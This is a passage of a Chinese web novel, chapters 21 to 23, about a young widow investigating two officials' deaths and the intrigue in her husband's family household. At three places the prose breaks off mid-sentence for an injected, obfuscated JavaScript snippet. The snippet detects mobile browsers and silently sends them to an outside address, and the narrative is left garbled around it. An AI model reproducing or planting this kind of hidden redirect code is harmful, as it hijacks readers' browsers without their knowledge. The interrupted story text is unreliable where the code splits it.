徐言璟坐在马车的脚凳上,闻言也没起身,他一个武将得了文官儿,豪放随意的习性一时半会儿自然是收不起来的,更何况徐枕之本就是个纨绔赌徒。 “是很巧,”徐言璟把手肘搭在膝盖上,仰头看着他,“我都要以为纪大人是故意来找我茬儿的。” “徐大人这叫什么话,你我好歹同朝为官,有些摩擦难以避免是正常的,我又怎么会故意找茬儿呢?”他说着,看着漆黑的宫道,问道:“这天都黑了,徐大人来这里做什么?” 徐言璟刚要回答就看见宫道亮起一小簇火光,随着越来越近的火光,也照亮了提灯的人。 温书宁穿着一件淡青色的立领长衫加白色花鸟百褶裙,发髻上简单随意地簪了几支簪子,手上的灯笼随着她晃晃悠悠。 她的视线从徐言璟身上移到旁边纪叙明的身上,随之脚步一顿,手握紧了灯笼杆,声音不大,但清晰地喊道:“纪大人。” 纪叙明颔首,声音很轻地问:“黎小姐这么晚了要去哪里?” 温书宁看见他就想到了那个血肉模糊的人,本能的害怕是她朝向自觉安全的地方,往徐言璟那边小走了两步,乖顺答道:“去拜会裴小姐。” 徐言璟知道她还因为那天的场景怕人,站起来伸手让她扶着上马车,转头对纪叙明说:“纪大人回见。” 温书宁捏着灯笼坐在马车里,心还在扑通扑通直跳,徐言璟想要拿灯笼却发现她捏得很紧,一时间有些好笑,“拿这么紧是想把马车给点了?” 温书宁这才回过神,松开手任他把灯笼挂在马车上,想到纪叙明便问道:“他怎么会在这里?” “谁?纪叙明吗?” 原来他叫纪叙明,温书宁“嗯”了声。 徐言璟问道:“碰巧而已,你不用怕他。” “我从来没有看见一个人身上的肉都被剜掉了,都能看见骨头了,那个人是不是死了啊?”她一边回想一边说。 “嗯。”他跟锦衣卫的交集不深,可以说是没有。 温书宁长长呼出一口气,决定下次看见那个人一定要绕道走。 21. 第 21 章 马车在纪叙明的注视下驶离皇宫,回想起温书宁方才的模样蓦地笑了。 裴府坐落在朱雀街落英巷,这边住着的大多都是朝廷官员,离皇宫近,上朝方便。 裴府后院。 裴家小姐裴亦欢坐在院子里的石桌边,手上拿着一份打开过的拜帖,这是爹爹前几日给她的,说是大理寺少卿会来寻她问话,让她注意什么该说什么不该说,拜帖上的日期是今天,她一整天精神都十分紧绷,想到死去的两个人就忍不住伤怀,直到丫鬟从侧门跑进来。 “小姐,徐大人和黎女官来了。” “黎女官?”她重新翻开拜帖,上面并没有写明还有一位女官要来,莫非是因为陆禹的死太后也派人来探查了?她‘噌’地站起来,不小心碰倒了桌上的茶盏,茶水溅湿了衣袖,她有些烦地皱着眉头,“我去换件衣裳,你将人请到青竹亭稍坐。” 丫鬟点头,转身回了侧门,看着等在门口的两人说道:“徐大人,黎女官,我家小姐正在更衣,请随奴婢去院中凉亭小坐片刻。” 徐言璟倚着墙,双手抱胸,对温书宁说:“你去吧,我在外面等你。” 温书宁问:“你不去吗?” 他好歹也是接手了这个案子,不了解情况怎么查案? 他笑:“闺阁小姐的院子,我一个大男人进去算怎么回事?你把你想知道的问清楚,然后再转述给我就行了,去吧。” 他这样说也不是不行,温书宁跟着丫鬟往后院走去。 裴家的后院很大,种植了很多的花草树木,在鲜花簇拥的中间有一座六角凉亭,亭子四周用纱帘做遮挡,流光的纱帘在微风的吹拂下随意地飘动,好看极了。 丫鬟将一侧的纱帘掀开挂在亭柱的钩子上,又给温书宁倒了杯茶,“黎女官稍等。” 温书宁捧着茶一边喝一边打量着院中的风景,不一会儿裴亦欢就来了,四下看了看,问道:“徐大人呢?” “裴小姐,我叫黎书宁,徐大人不便进入闺阁内院,特让我来同裴小姐交涉。” 裴亦欢看了她一眼什么也没说,径直坐下,温书宁也不跟她绕弯子,说道:“因为宋钰和陆禹的事情我父亲被下了诏狱,我父亲是被冤枉的,我需要尽快救我父亲出来。” “你是黎尚书的女儿?竟入宫做了女官,”裴亦欢能够理解她救父心切,说道:“想问什么尽管问吧。” 温书宁抿抿唇,看着她问:“裴小姐与宋钰和陆禹是什么关系?” 裴亦欢是典型的清冷美人,一颦一笑间皆透露着贵气与疏离,她垂下眼,思量片刻说道:“我与宋钰是在岭南相识的,我自幼丧母,母亲的陪嫁嬷嬷将我带至十三岁便离世了,父亲公务繁忙,不大顾得上我,便将我送去了岭南老家,每年也只有过年过节的时候会回来京城小住。” 她低着头,眼泪顺着睫毛落在手中的帕子上,回想起那时的时光,她便觉得贵如千金。 祖父祖母住在岭南,她刚出生时为了让她不与亲生父亲生疏便没让她去岭南,直到照顾她的嬷嬷去世,祖父才派人来将她接回老家,在她十七岁那年岭南突发水患,冲垮了不少桥梁和房屋,万幸没有冲到自己家门口,一时间城中多了近乎一半无家可归的流民,祖母乐善好施,搭棚施粥,但腿脚不便,只得她来代劳。 裴亦欢日日在城中施粥,一连半个月过去,朝中带来的赈灾银全然不够数,许是遭了上官的贪污,总之修建的桥和堤坝又被冲垮了,她去信给爹爹,希望爹爹能够上书得到陛下的重视,让朝廷派人来。 那日她照旧站在遮阳棚下,面前来领粥的流民排起了长长的队伍,忽然有人大喊一声:“京里的大官儿来了,还来了好多人。” 不知是谁的一嗓子,人群瞬间躁动起来,纷纷跑到城门口去看这位从京城来的大官儿,裴亦欢也难掩好奇地往城门口走了一段,站在人群后面探头看去,只见城外有一支浩浩荡荡的队伍正往城中来,为首的是一位年轻男子,长相俊俏,面容冷淡,身穿红色长袍,带着一顶黑帽,坐在马背上,看见夹道迎接的百姓也没有显露出丝毫的笑意。 应该是个不好相处的。 这是裴亦欢对他第一面的看法,她认为他跟前面那些官员一样,贪污银子,然后用最少的银子差人做一些豆腐渣工程糊弄朝廷,但她想错了。 此人不仅不私藏朝廷的赈灾银,还对手下的人极为严苛,就连修桥修坝都是亲力亲为,只要他能帮得上的就绝对不含糊,看着顶着日晒的瘦削身影,裴亦欢让丫鬟准备了一碗绿豆汤。 她端着绿豆汤走过去,太阳晒得她眼睛都要睁不开了,“这位大人,天热暑气重,喝点绿豆汤吧。” 岂料这人看都没看她一眼,拿着修建桥梁的图纸盯着工人下手,“木材都是有数量的,不要切多了,还有这个地方,要多加一段横梁。” 她捧着碗愣在原地,一时不知该如何是好,又想他可能是没听见,刚准备再说一次就被流民叫住了,“裴小姐,这碗绿豆汤能分我一半吗?” 裴亦欢抿抿唇,有些为难,但转念一想,反正这位大人又不要,干脆分了算了,“当然——” 话音未落手上的碗就被拿走了,男子对着流民抿唇一笑:“不好意思,这碗我已经喝过了。” 说完还不忘给裴亦欢使眼色,她也连忙道:“啊对,您去那边排队吧,还有的。” 为流民指了方向,她看着他把绿豆汤喝完,才伸出手,宋钰不明所以,她说:“碗,是我的。” “抱歉。”宋钰把碗还了回去,问道:“小姐姓裴?” 裴亦欢点头,“家父是大理寺卿裴铭。” 宋钰颔首,说道:“我此次来岭南赈灾正是裴大人举荐,与我而言是一个非常好的机会,待回京之后一定会好好谢谢裴寺卿的。” “不知这新的堤坝和桥梁多久能完工啊?” “不出三个月便可竣工。”宋钰如实答到,其实到底多久他也拿不准时间,只是大概在这个区间。 裴亦欢犹豫着不知该怎么开口,宋钰看出她有话要说,“裴小姐有话不妨直说。” 她抬眼注视着他,想说的话最终还是没有说出口,“没有没有,宋大人先忙吧,我就不打扰了。” 三个月的时间眨眼间就过去了,最炎热的暑气天也渐渐走远,空气中吹起秋风的那一天宋钰的车马就已经整顿好了,依旧是在城门口,裴亦欢带着两人经常吃的糕点相送。 宋钰穿过人群将她带到旁边的巷子里,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979292|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你怎么来了?” “我来送送你,这个给你,路途遥远,你留着路上吃。”裴亦欢把糕点递给他。 宋钰拿着被油纸和包裹的糕点,少女的脸上满是稚气,一双眼睛明亮水润,笑起来嘴边有两个小酒窝,他垂下眼,红晕悄悄爬上了耳廓,从怀里拿出一把被丝帕包裹的红玉梳子,红玉晶莹剔透,雕刻着几朵海棠花。 裴亦欢看着手中的梳子,一时之间没有反应过来,不知道该说什么,但她应该是高兴的,“送给我的?” “嗯。” “宋大人,谢谢你。”她笑着,眼睛弯成了月牙。 宋钰也笑,城门口好友的声音传来,他来不及与她多说几句话便要走了,在他转身时裴亦欢拉住他的衣袖,“宋大人,你等我,很快我也会回京城的。” “好,我等你。” 队伍再次浩浩荡荡离城远去,裴亦欢紧紧握着那把红玉梳贴在胸口,看着渐渐远去的队伍,只觉得胸口在发烫。 - 温书宁听罢问道:“那你们回京之后见过吗?” 裴亦欢摇头,“父亲知道了我与他在岭南的事情就不让我们见面,只有书信来往,可他很少回信,最后一次是一封诀别信。” “那陆禹呢?” “陆禹是我父亲为我挑选的夫婿,我是不愿意的,我已经有喜欢的人了,不可能嫁给除他之外的人。”她说着有些激动,想到宋钰眼泪就止不住地从眼眶落下。 温书宁拿出帕子递给她,安慰的话在嘴边转了又转,最终还是没说出口,只问道:“直到他们死前你也没见过他们吗?” 裴亦欢一边擦眼泪一边摇摇头,“我没有见过他们,但宋钰一定是陆禹杀的,一定是他!” 见她这般斩钉截铁,温书宁也皱起了眉,“你怎么知道?” “他来找过我,就在宋钰死后,隔天晚上他就来找我了,就连宋钰的死也是他跟我说的。” 温书宁问:“他还同你说过什么?” “没有了,后来他托人给我送信,说要带我回岭南老家,我未曾来得及回信,谁曾想他第二日便死了,他们死后爹爹怕刑部会找上我,于是勒令我不许出门,谁也不能见,你们是怎么说服爹爹的?” 这个……温书宁也不知道徐枕之跟裴寺卿说了什么。 后面简单说了几句安慰之言就从裴府出来了,徐言璟正坐在脚凳上靠着马车睡觉,温书宁看见他睡着突然起了玩心,拎着裙子小心走过去,取下腰间的玉佩,用穗子轻轻扫了扫他的睫毛,穗子接触到睫毛的瞬间他就皱起了眉,眼睫跟着颤动几下,缓缓睁开了眼,漆黑如墨的眼睛看着她,温书宁来不及收回的手被他紧紧攥住。 他面无表情,待从梦中缓过来,意识到自己在哪儿时笑了起来,用拇指轻轻摩挲着她的手腕内侧,“嫂嫂为何要捉弄我?” 手腕传来的痒意直击心头,她手指无力,玉佩自手中滑落被徐言璟问问接住。 “好透的玉啊,我竟不知嫂嫂还有这种好东西。”他把玉佩捏在指尖观赏,玩味的笑扬在脸上。 温书宁有一瞬间的错愕,猛地将手抽回来钻进马车里,端坐低头看着微微泛红的手腕,指腹轻轻触碰着,似乎还留有燥热的余温。 22. 第 22 章 “我想去一趟陆府。”隔着一道车帘,温书宁的声音从里面传来。 徐言璟回了一声“好”,一拉缰绳绕去了陆府。 陆禹的老家是杭州的,父母都不在京城,他小时候偶尔来京城小住,后来入选了锦衣卫没几年就就买了自己的宅子,不是很大,但位置很好,装修很简单,院子里种了许多果树。 温书宁迎着月光扫视院中的景色,距离陆禹的死已经过去了月余,时间不算很长,但是没有人气的院子总是荒凉的特别快,树叶在地上铺了薄薄一层,她估摸着宅中的户型,跟徐言璟一起摸进了书房。 徐言璟提着灯笼,进去之后直奔书桌,“这里。” 温书宁闻言往书桌走去,整洁的桌面上铺展开一幅画,画上的女子身姿窈窕,容貌秀丽,手持团扇遮阳,身体微侧,嫣然一笑,这人不是裴亦欢还能是谁? 画的旁边放着定亲时交换的庚帖和一封信,信封略微褶皱,她将信拿起来,接着灯笼的光看清了上面的字。 【亦欢亲启】 她把信连同庚帖一并递给徐言璟,“劳烦徐大人跑一趟了。” 徐言璟看着她欣然答应:“好。” 昏黄的灯光下,两人距离很近,四目相撞,刹那间仿佛周边的一切都静止了,徐言璟抿唇,视线停留在她微微勾起的双唇上,不知想到什么,忽而移开视线。 温书宁转身往外走,垂落的发丝轻轻扫过他的脸,带起一丝痒意,惹得他拿着庚帖和信的手不自觉地紧握,提着灯笼追了出去。 从陆府出去就没有进来这么顺利了,拐过街角就看见了巡夜的锦衣卫,为首的便是那天持剑指着她的男子,还来不及思考,反手拽住徐言璟的手腕转身就往街角的巷子里跑去,两人躲在漆黑的箱子里,温书宁神经紧绷地盯着巷子口。 “怎么——” 她本就害怕被发现,听见声音立即将食指虚竖在唇前,“嘘!别说话。” 徐言璟点头噤声,直到在云领着人从巷子口路过温书宁才松了口气,回头问道:“你刚刚要说什么?” 徐言璟站起来抖了抖衣摆上的灰尘,“现在是夜禁的时间,各个街头都有锦衣卫巡夜,你今晚怕是回不去了,不如随我回府小住几日,大娘也甚是想念你。” 温书宁本想拒绝,但是想到母亲还是点了头,“明日一早我得去同娘娘说一声。” 徐言璟低声道:“将军府距离皇宫甚远,何必亲自跑一趟?明日早朝的时候我见一面贵妃娘娘替你说一声便是。” 她点头,一路躲着锦衣卫的夜巡到了徐府,他们没有走正门也没有走侧门,徐言璟带着她直接走到玉兰居的外墙下,借助旁边的石头纵身一跃蹲在了青瓦院墙上,朝她伸手,“来。” 温书宁仰头看着他,不解道:“为何不走门?” “不管是走正门还是侧门,回到玉兰居都绕不开大娘的院子,”他的小臂搁在膝盖上,向下探头笑问:“我与嫂嫂深夜归家,若是叫大娘身边的妈妈看见,作何解释?还是说嫂嫂就是想让大娘知道?” 温书宁听见他这话立刻反驳:“你胡说!” “快上来吧,再磨蹭下去要是叫值夜的小丫鬟瞧见说不清楚的事情就又多了一桩。”他再次伸出手。 “我,我跳不了这么高。”温书宁拎着裙子四下看了看,除了石堆没有能够接力的东西,可是她又不会使轻功,哪能跳上去? 徐言璟跳下去,把适合堆叠的石头放在一起,再次跳上去,“踩在上面,踩稳了,伸手我能抓住你。” 温书宁站在石头堆上,他若是要拉自己上来势必要牵手,就算是自家人也该避避嫌才是,这叫什么? 犹豫半晌她小心问:“那要不然你翻墙进,我走正门?” 徐言璟深深叹了口气,知道她在担心什么,“可以是可以,那你怎么跟大娘说你为何夜半出宫,又是如何躲过巡夜的锦衣卫?你可想好了借口?” 温书宁一愣,这些她确实没想过,罢了,夜黑风高的,只要他不说就没人知道,她试着伸出手,手腕立刻就被紧紧握住,那种熟悉的电流感瞬间袭来,还没给她反应的时间就已经站在了院墙上。 她低头看了一眼,一瞬间恐惧袭上心头,双腿忍不住颤抖,“好——” 高啊…… 话音还没落下眼前就一黑晕了过去。 原来怕高吗? 徐言璟无奈叹气搂住她的肩膀,弯腰将她打横抱起,轻松落地往玉兰居走去。 - 第二日天亮,阳光从窗户落进来,温书宁睁开眼,看着那缕阳光晃神,觉得口干舌燥,头也昏昏沉沉的,“长盈……长盈……” 沙哑着声音喊了两嗓子,没有回应,她这才回过神自己回到了玉兰居,撑着床榻想要坐起来却因为头疼又躺了回去。 直至霜怜照例来主屋打扫,看见了屏风后放下来的床幔才知道她回来了,“少夫人!” “是我。” 霜怜听着声音觉得不对,赶紧放下了手里的水和帕子走了过去,看见温书宁苍白的脸伸手贴上她的额头,着急问道:“怎么这么烫?这是怎么了?” 温书宁没吭声,下雨下雪她没个头疼脑热,谁知竟然因为站的太高被吓病了? 她讷讷道:“我想喝水。” “好好好,”霜怜倒了水来,“小心喝,你先躺着,我去请大夫来。” 喝完水她起身要走,温书宁拽住她的衣角,“别让母亲知道了,免得担心。” 霜怜点点头,趁着没人的时候从侧门出去了,不一会儿就带回来一个年迈的大夫,脚步蹒跚,在后面跟着走的困难。 “小娘子慢点儿哟,老头子我这腿脚多有不便,跑不动了。” 霜怜一脸严肃,脚下的步子放慢了些,“我家少夫人不知何时病的,今儿早起来脸色白的厉害,浑身发烫,许是发热了,再过会儿怕是要热傻了。” 大夫背着药箱紧赶慢赶到了玉兰居,诊完脉就拿出纸笔写下了药方,“不是什么很要紧的病,就是吹了风,受了寒,按照这个方子去抓药,一日三次,一次一碗,连喝三天就好了。” 霜怜拿着药方连声应好,给了几块碎银子,大夫看着手里的碎银觉得这一趟真是来的值得。 徐府有专门的药房,霜怜送走大夫后趁着人少去药房抓了药回在小厨房熬着,期间温书宁又醒过一次,因为肚子饿,吃了几块糕饼,脑袋昏昏沉沉躺在床上又睡着了。 待她缓过精神气儿已经是三日后,见她好转霜怜才去漪澜院报信儿,赵夫人一听她回来了就要去玉兰居,“什么时候回来的?为何不早早报来?” 霜怜没有把温书宁生病的事情说出来,只道说是昨日傍晚回来的,巧的是昨日下午丫鬟小厮都在前院听训,没人见她回来也说得过去。 温书宁坐在院子里的杏树下,远远看见赵夫人便起身迎了过去,恭敬行礼,“母亲安好。” “好好好,你可好啊?”赵夫人握着她的手,视线上下打量着,“瘦了,一看就是在宫里没有好好吃饭,晚上去燕拂堂用晚饭,到时候多吃一些。” 温书宁乖乖点头,母女两人坐在窗台前的小桌边说了好一会儿话,赵夫人垂首叹气道:“璟儿的姐姐入宫十多年,我这个做母亲的见她的次数屈指可数,过年过节她也不曾回来探望,我知道她在宫中也不好过,提心吊胆,从未去信与她说过家中的事情,就连璟儿去世她也是最后一个才知道的,好孩子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987319|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进宫这么些时日,贵妃娘娘可好啊?” 握着自己的那双手格外热,一个母亲对子女的关怀总是炽热的,赵夫人这般说,难免让她想到了自己的母亲,心中一阵酸涩,眼眶湿润发红,她抿唇笑着点头,“母亲宽心,娘娘在宫里一切都好。” 赵夫人抱住她,她也回抱着赵夫人,就像是抱着自己的母亲一样,一人丧母,一人丧子,在这一刻有了些惺惺相惜的感觉。 温书宁是十分庆幸的,从前在扬州的时候她经常看见嫁出去的女儿与婆母的关系都不好,在宅院里磋磨岁月,最后什么也没得到,她庆幸自己有这样好的一个婆母。 赵夫人拿着帕子替她擦干净眼泪,说道:“听霜怜说你的琵琶曲儿弹的顶好,可愿弹与我听听呀?” “不过是闲来无聊打发时间,母亲言重了。”她起身从箱笼里抱出琵琶,青葱指尖拨动弦音,熟悉婉转的曲调自房中传到院外。 徐言璟一早就去上朝,散朝后就去嘉贵妃那里把温书宁回家小住的事情说明了,得了嘉贵妃同意后他便出宫往裴府赶去将信和庚帖交给了裴亦欢,回到将军府下意识走到了玉兰居,站在院子外面听着熟悉的曲调,有一瞬间的愣神,仿佛自己此时并不是披着徐枕之皮囊的徐言璟,而是同她做夫妻的那个徐言璟。 直到霜怜看见他,“小公子怎么在这里站着?可是找少夫人有事啊?快些进来坐吧。” 徐言璟回神,抱歉笑道:“无事,凑巧路过,听见曲音绕梁,驻足听听罢了。” “原是如此,那小公子快回房换衣裳吧,晚间还要去老夫人院里用晚饭呢。”霜怜说完转身离开了。 徐言璟下朝后未曾歇过,身上还穿着官服,取下帽子拿在手里往二房院子走去。 秦夫人早早便等在门口了,见他来赶紧迎了上去,接过他手中的官帽,“怎么这么晚才回来?” 徐言璟面不改色地胡诌,“散朝后陛下询问我案子的进展,耽搁了些时间。” 黎朝的事情早就传开了,秦夫人说道:“你如今在朝为官,万事须得谨慎行之,黎大人是宁宁的父亲,说起来同我们也算是亲戚一场,你可得仔细了,不要冤枉好人,也不要放过坏人。” 徐言璟点头:“母亲放心,我知道的。” 秦夫人吩咐院子里的丫鬟进来伺候更衣,自己则回到了房间,嬷嬷端来了药,她看也没看一口饮下,自从上次落水流产后身体就大不如前,天冷天热总有不舒服的地方,要说她丝毫不怨魏夫人是不可能的,可到底是一个屋檐下生活,抬头不见低头见,何必把关系弄得太僵呢? 晚间燕拂堂的丫鬟便到各个院子里喊人,温书宁跟在赵夫人后面率先到了燕拂堂,随之而来的是秦夫人和徐言璟,徐大爷和徐二爷今日去庄子上巡查,晚点也到了。 老夫人坐在主位,扫了一圈问道:“老二,曲水怎还没来啊?” 曲水是魏夫人的闺名。 徐二爷与秦夫人相视一眼,他今日不在家,自是不知道魏夫人的去向,秦夫人说:“回母亲,姐姐晌午的时候说要出门接个人,用的是一匹快马,想必这会儿也快回来了。” 话音刚落就听见院门口传来一道响亮的声音:“是我的过,回来迟了些,竟让一大家子等我。” 随着她的出现,众人的视线齐刷刷看向门口,只见她身后跟着一位穿着朴素,模样娇艳的女子。 老夫人看着那女子,问道:“这是哪家的小丫头?” 魏夫人笑着介绍,“她是我娘家妹妹的女儿,她父母外出做生意,家中无人照料,本想着托送到孩子姑姑家,但她姑姑家中已有三个孩子,便想到了我,今日我便吃过午饭就去把她接回来了,她小的时候母亲还见过呢。” 23. 第 23 章 老夫人对着那少女招手,示意她过来坐,少女低着头走过去,乖巧问好:“老夫人安好。” 少女嗓音清亮,音似青雀儿,老夫人摸着她的头,笑问:“叫什么名儿啊?” “回老夫人话,小女闺名李令月。”她低眉顺眼的模样看着惹人疼惜,身上素净的裙裳倒是与她匹配,发髻上簪着几朵绒花,简单又亮眼。 老夫人这才仿若想起来一般,笑呵呵道:“原来是小月儿,是见过,是见过,几年不见长这么大了,簌喜快快再备一双碗筷来。” 簌喜笑着让人去小厨房拿了一套新的碗筷放在老夫人旁边的位置。 老夫人拉着她坐下,几人围坐在桌边有说有笑,这顿饭吃的倒是也有滋味,末了魏夫人突然问道:“母亲,令月今天刚来,不知住处怎么安排啊?” 老夫人搁了筷子,叮嘱道:“府中院子多,你自己安排了便是,只是要照顾妥贴,千万别让孩子在我们靖远将军府出了岔子。” 李令月低着头笑,老夫人虽喜欢她,可这番话到底还是在把她当外人,不过大姨说过了,等她嫁给了小公子就是真正在京城站住脚了,那个该死的堂哥就再也不能来恶心她了! 魏夫人欢欢喜喜应了声,叫人把晚香园旁边的竹斋收拾出来。 原本坐在秦夫人身边吃饭的徐言璟忽而抬头,“竹斋不过是晚香园分出去的一个小院子,如此只怕是委屈了表妹,我看倒不如就住在魏娘娘的院子里。” 魏夫人脸上的笑淡了些,刚要开口秦夫人就说:“竹斋挺好的,引秋,你令月表妹初来京城,你得空了带她出门去转转。” 既然秦夫人发了话,徐言璟也只能闷闷应声,抬眼看向桌对面,温书宁低头吃着碗里饭菜,不时与身边的母亲说两句话,说到有趣的还会笑得眉眼弯弯,并没有注意到落在自己身上的目光,俨然一副其乐融融的一家人。 他深知自己的事情不能叫太多人知晓,即便想说也只能忍着,等揪出下毒害他的幕后之人再坦言也不迟,只是如此就要苦了她了。 吃过晚饭天已经黑了,初秋的天比夏天黑的快,天越黑星星就越亮,从燕拂堂回玉兰居的这段路温书宁走得很慢,时不时抬头看天上的星星,霜怜提着灯笼,小声说:“我瞧着魏夫人是想撮合表姑娘和小公子。” 温书宁听罢浑身一激灵,赶忙捂住她的嘴,“好姐姐!这岂是可以胡说的?” 见她吓死的模样霜怜笑弯了眼,扒下她的手,“少夫人别担心,猜测而已,指不定小公子还不愿意呢,再说了,这表姑娘是什么身份?哪儿能配得上咱们小公子?” “我不听!他的婚事岂是我们能私下言说的?”温书宁捂住耳朵,快步往前走去,“你这话要是叫人听了去可别说我也听见了。” 霜怜生怕她夜黑路滑绊倒了,笑着提了灯笼追上去。 等他们走后徐言璟才从不远处的廊柱后面走出来,望着玉兰居的方向,晚风吹起他的衣摆,猎猎作响,他定定站着未曾动过,只是看着前面两道身影渐渐远去,消失在视线中。 李令月从燕拂堂走出来,站在廊外,声音轻缓,小心翼翼地问:“三哥哥,我不知道回竹斋的路,你能给我带路吗?” 徐言璟眼睛也没眨一下,淡淡道:“我不是你三哥哥,莫要叫错了。” 李令月看着面前的男子,身高八尺,身形修长,模样出挑,如今又在大理寺供职,是难得的郎婿,只是这样的人为何非要拒人于千里? 他估摸着时间,玉兰居应当已经熄了烛火才转身往晚香园走去,李令月跟在他身后,到了晚香园徐言璟也没有跟她说过一句话,他虽不是个冷淡的人,却也是知礼教的,心中既然有人了,又如何能够再去同另一人和颜悦色? 李令月见他没有要同自己说话的意思,转身往旁边走去,竹斋确实小,只有两个房间,不过对于她来说也足够了,简单洗漱一番躺在床上的时候想到了刚才徐言璟注视的那个方向,那里住的会是谁呢? - 一年一度的乞巧节如期而至,整条街上热闹非凡,许多手工制品摆在了摊位上在大街上叫卖,温书宁从前在扬州的时候经常跟邻居姐姐们一起过节,绣绢帕,做钗环,都是她最拿手的。 今天天气好,一大早她就吩咐丫鬟们把院子清理干净,趁着好天气把书房里的书拿出来晒一晒。 “少夫人,卧房书架上的书也要搬出来吗?”霜怜问到。 “都搬出来吧,它们也都许久没有见光了。”温书宁蹲在院子里把书一本本摆放好,又从怀里拿出那本诗集放在最好的位置。 几人忙活了一上午终于把书房里全部的书都铺好了,院子里只要是能放得下的地方都被放满了书,放眼望去密密麻麻,异常壮观。 温书宁坐在廊檐下的台阶上,双手撑着脸沐浴在阳光下,她今日穿的鲜亮,鹅黄色的比甲长袄上用彩线绣着几只玩耍的小狸奴,在阳光下栩栩如生,仿佛活了一般。 女子都有爱美之心,这还是母亲去世后她头一回穿的这般明艳惹眼,前几日住进府中的表姑娘约她晚间出去逛逛,两人都是差不多的年岁,应当是聊得来的,于是她便答应了。 “少夫人,昨天表姑娘还同我打听您呢。”霜怜端着一碟子荷月酥同她一起坐在廊下,“小厨房新做的酥点。” 温书宁拿了一块闻了闻,非常香甜,“打听我什么?” “向我打听您是哪家的千金,是否是王公世族?为何年纪轻轻便守了寡。” 霜怜说着,温书宁却是皱起了眉,“这都是什么问题?” “我寻思她就是觉得这几天您和小公子走得近,心里不高兴。” “徐枕之是夫君的亲堂弟,我理应照料,再说了,同在一个屋檐下,我总不能躲着不见人吧?”温书宁越想越气,打算晚间不跟她出去玩了。 “少夫人别生气,我看府中采买了许多的竹条,晚上我们来做纸灯吧。”霜怜兴致勃勃。 温书宁本就孩子心性,虽然生气,但也不能一直气,这样岂不是要活生生把自己气死?一听做纸灯就来了兴致,复而又说:“我不会。” 霜怜:“我会,我教你。” 傍晚的时候老夫人传话去燕拂堂吃饭,温书宁嘱咐霜怜一定要在太阳落山之前把院子里的书都收进去,以免沾了露水潮湿坏掉了,等她到燕拂堂的时候那个表妹已经偎在老夫人身边,瞧着倒像是亲祖孙一般。 行过礼赵夫人便拉着她坐在身边,小声说:“锦衣卫的纪大人已经把你父亲放出来了,安心了啊。” 她垂首侧耳听着,莞尔一笑:“谢母亲告知。” “你我之间何须这般客气?你就如同我亲女儿一般。”赵夫人安抚地拍了拍她的手。 晚饭吃到一半李令月忽然说:“今日是乞巧节,我原是想请书宁嫂嫂带我去听江游船,但是不料嫂嫂下午差人来同我说有事情,去不了了,可我又实在想出府游玩。” 说罢她低下头,略显伤怀。 温书宁闻言也放下了筷子,抬起头看着她,饭桌上的人都因为李令月的一番话停了手上的动作,齐刷刷看向她,似乎是在疑惑是否有这件事。 “是有事情,”她抿抿唇,硬生生憋红了眼眶,哽咽道:“今日天气好,我将书房里夫君的书册都拿出来晒了晒,方才我来时叫霜怜把书都收了回去,下人们办事我总是不放心的,若是放错了地方,损坏了书册可如何是好?便想着吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998056|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭我亲自整理,实在不好叫李姑娘等太久,便只好推了她的邀请,总是表妹住在府里,往后有的是时间,现下已经入秋,像这样好的天气实在难得。” 说完她的眼泪也随之落了下来,赵夫人不住地安慰她,也跟着湿润了眼眶,老夫人叹气,摆摆手起身,没了胃口,她对这个病故的孙子有多疼爱只有府里的人知道,见状也纷纷起身,这顿晚饭算是罢了。 秦夫人看着愣在原地的对李令月,上前说道:“你要实在想出府转转,那就让枕之陪你同去吧。” 徐言璟看着抹泪的温书宁,搁在膝头的手紧了紧,本想拒绝,但又不好让秦夫人在这么多人面前下不来台,才不得已应了声好,吃过晚饭他便带着李令月出了门。 李令月娇羞地跟在他身后上了马车,车厢里谁都没有说话,许是气氛有些尴尬,对方又不跟自己讲话,于是开了口:“三哥哥,我们去哪里玩?” 徐言璟看着窗外,没有看她,回道:“不知道。” 他语气冷淡,疏离,摆明了不想跟她说话,但她也不恼,俗话说的好,女追男隔层纱,他如今又没许人家,平白无故的她自然不会放弃。 “不如我们去游船吧?我听说今夜听江上会有许多的灯谜。” 徐言璟:“我畏水。” 李令月:“……” 如此游船也只能作罢,她再也不知道京城还有何好玩的,一路无言,直到路过一个卖花灯的摊位,他叫停了马车,掀开帘子下去,李令月跟在他身后,见他认真挑选花灯,以为他是要送给自己,便又重新扬起了笑脸,指着其中一个兔子形状的花灯说:“三哥哥,我喜欢这个小兔子的。” 徐言璟伸向小猫花灯的手顿了一瞬,从钱袋子里拿出碎银递给商贩,“老板,一起付。” 